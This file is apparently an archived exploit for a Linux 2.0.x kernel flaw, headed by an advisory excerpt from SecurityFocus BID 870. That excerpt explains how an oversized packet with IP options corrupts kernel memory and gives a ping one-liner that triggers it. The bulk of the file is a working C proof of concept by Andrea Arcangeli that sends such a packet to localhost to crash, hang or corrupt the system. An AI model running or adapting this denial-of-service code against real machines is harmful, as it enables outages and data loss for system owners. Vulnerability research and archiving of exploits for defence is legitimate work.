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49 lines
No EOL
1.7 KiB
C
49 lines
No EOL
1.7 KiB
C
/*
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source: https://www.securityfocus.com/bid/870/info
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Debian 2.1,Linux kernel 2.0.34/2.0.35/2.0.36/2.0.37/2.0.38,RedHat 5.2 i386 Packet Length with Options Vulnerability
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A vulnerability in the Linux kernel's TCP/IP allows local users to crash, hang or corrupt the system.
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A local user can crash, hang or currupt the system by sending out a packet with options longer than the maximum IP packet length. An easy way to generate such packet is by using the command "ping -s 65468 -R ANYADDRESS". The -R option is for the IP record route option. Under kernel versions 2.2.X the command will fail with an message of "message too long".
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The vulnerability seems to be the result of the kernel not checking aif packet with options is longer than the maximum packet size. A long packet seems to lead to memory corruption.
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*/
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/* Exploit option length missing checks in Linux-2.0.38
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Andrea Arcangeli <andrea@suse.de> */
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <netinet/udp.h>
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#include <netinet/ip.h>
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main()
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{
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int sk;
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struct sockaddr_in sin;
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struct hostent * hostent;
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#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
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#define OPT_SIZE 1
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char payload[PAYLOAD_SIZE];
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sk = socket(AF_INET, SOCK_DGRAM, 0);
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if (sk < 0)
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perror("socket"), exit(1);
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if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
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perror("setsockopt"), exit(1);
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bzero((char *)&sin, sizeof(sin));
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sin.sin_port = htons(0);
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sin.sin_family = AF_INET;
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sin.sin_addr.s_addr = htonl(2130706433);
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if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
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perror("connect"), exit(1);
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if (write(sk, payload, PAYLOAD_SIZE) < 0)
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perror("write"), exit(1);
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} |